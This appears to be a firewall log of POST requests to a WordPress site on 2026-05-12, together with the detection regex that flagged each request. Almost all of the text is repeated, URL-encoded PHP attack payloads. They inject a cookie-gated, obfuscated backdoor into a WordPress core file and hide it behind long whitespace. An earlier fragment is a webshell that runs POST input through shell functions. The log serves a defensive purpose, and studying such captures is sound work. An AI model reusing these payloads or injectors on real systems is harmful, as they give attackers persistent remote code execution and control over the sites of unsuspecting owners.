x68e%255Cx782b%255Cx69n%2522%253B%2520%2524hub_center2%2520%253D%2520%2522s%255Cx68e%255Cx6Cl%255Cx5Fe%255Cx78%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522c%255Cx6Fmp%255Cx6Fne%255Cx6E%255Cx74%2522%255D%2529%2529%2520%257B%2520function%2520secure_access%2520%2528%2520%2524val%2520%252C%2520%2524itm%2520%2529%2520%257B%2520%2524object%2520%253D%2520%2527%2527%2520%253B%2520%2524j%253D0%253B%2520do%257B%2520%2524object.%253Dchr%2528ord%2528%2524val%255B%2524j%255D%2529%255E%2524itm%2529%253B%2520%2524j%252B%252B%253B%2520%257D%2520while%2528%2524j%253Cstrlen%2528%2524val%2529%2529%253B%2520return%2520%2524object%253B%2520%257D%2520%2524component%2520%253D%2520%2524framework%2528%2524_POST%255B%2522c%255Cx6Fmp%255Cx6Fne%255Cx6E%255Cx74%2522%255D%2529%253B%2520%2524component%2520%253D%2520secure_access%2528%2524component%252C%252058%2529%253B%2520if%2520%2528function_exists%2528%2524hub_center1%2529%2529%2520%257B%2520%2524hub_center1%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center2%2529%2529%2520%257B%2520print%2520%2524hub_center2%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center3%2529%2529%2520%257B%2520%2524hub_center3%2528%2524component%252C%2520%2524k_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center4%2529%2529%2520%257B%2520%2524hub_center4%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524hub_center5%2529%2520%2526%2526%2520function_exists%2528%2524hub_center6%2529%2520%2526%2526%2520function_exists%2528%2524hub_center7%2529%2529%2520%257B%2520%2524itm_object%2520%253D%2520%2524hub_center5%2528%2524component%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524itm_object%2529%2520%257B%2520%2524value_factor%2520%253D%2520%2524hub_center6%2528%2524itm_object%2529%253B%2520%2524hub_center7%2528%2524itm_object%2529%253B%2520print%2520%2524value_factor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:46:03","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> mi:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-10%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34%252B-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B92%252B-89%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B27-23%255D%2529%2529%2520%257B%2520%2524marker%2520%253D%2520%2524_COOKIE%253B%2520function%2520app_initializer%2528%2524ent%2529%2520%257B%2520%2524marker%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f8840180%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524marker%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524property_set%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524property_set%252C%2520%2524data_chunk%2529%253B%2520fclose%2528%2524property_set%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522app_initializer%2522%2529%253B%2520%2524pset%2520%253D%2520%2522fce44827551f076866cf20dfd6b42fb5%2522%253B%2520if%2520%2528%2521strncmp%2528%2524pset%252C%2520%2524marker%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522query_handler_request_approved%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\ncontent-length:4341\nsec-ch-ua-mobile:?0\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoJxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nmi=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-10%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34%252B-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B92%252B-89%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B27-23%255D%2529%2529%2520%257B%2520%2524marker%2520%253D%2520%2524_COOKIE%253B%2520function%2520app_initializer%2528%2524ent%2529%2520%257B%2520%2524marker%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f8840180%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524marker%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524property_set%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524property_set%252C%2520%2524data_chunk%2529%253B%2520fclose%2528%2524property_set%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522app_initializer%2522%2529%253B%2520%2524pset%2520%253D%2520%2522fce44827551f076866cf20dfd6b42fb5%2522%253B%2520if%2520%2528%2521strncmp%2528%2524pset%252C%2520%2524marker%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522query_handler_request_approved%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:46:07","77.65.47.245","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> WX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-10%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34%252B-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B92%252B-89%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B27-23%255D%2529%2529%2520%257B%2520%2524marker%2520%253D%2520%2524_COOKIE%253B%2520function%2520app_initializer%2528%2524ent%2529%2520%257B%2520%2524marker%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f8840180%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524marker%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524property_set%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524property_set%252C%2520%2524data_chunk%2529%253B%2520fclose%2528%2524property_set%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522app_initializer%2522%2529%253B%2520%2524pset%2520%253D%2520%2522fce44827551f076866cf20dfd6b42fb5%2522%253B%2520if%2520%2528%2521strncmp%2528%2524pset%252C%2520%2524marker%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522query_handler_request_approved%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:4341\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI1tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nWX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-10%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34%252B-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B92%252B-89%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B27-23%255D%2529%2529%2520%257B%2520%2524marker%2520%253D%2520%2524_COOKIE%253B%2520function%2520app_initializer%2528%2524ent%2529%2520%257B%2520%2524marker%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f8840180%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524marker%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524property_set%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524property_set%252C%2520%2524data_chunk%2529%253B%2520fclose%2528%2524property_set%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522app_initializer%2522%2529%253B%2520%2524pset%2520%253D%2520%2522fce44827551f076866cf20dfd6b42fb5%2522%253B%2520if%2520%2528%2521strncmp%2528%2524pset%252C%2520%2524marker%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522query_handler_request_approved%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:46:10","192.3.12.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> HE:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-10%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34%252B-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B92%252B-89%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B27-23%255D%2529%2529%2520%257B%2520%2524marker%2520%253D%2520%2524_COOKIE%253B%2520function%2520app_initializer%2528%2524ent%2529%2520%257B%2520%2524marker%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f8840180%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524marker%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524property_set%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524property_set%252C%2520%2524data_chunk%2529%253B%2520fclose%2528%2524property_set%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522app_initializer%2522%2529%253B%2520%2524pset%2520%253D%2520%2522fce44827551f076866cf20dfd6b42fb5%2522%253B%2520if%2520%2528%2521strncmp%2528%2524pset%252C%2520%2524marker%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522query_handler_request_approved%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:4341\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFRHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nHE=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-10%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34%252B-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B92%252B-89%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B27-23%255D%2529%2529%2520%257B%2520%2524marker%2520%253D%2520%2524_COOKIE%253B%2520function%2520app_initializer%2528%2524ent%2529%2520%257B%2520%2524marker%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f8840180%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524marker%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524property_set%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524property_set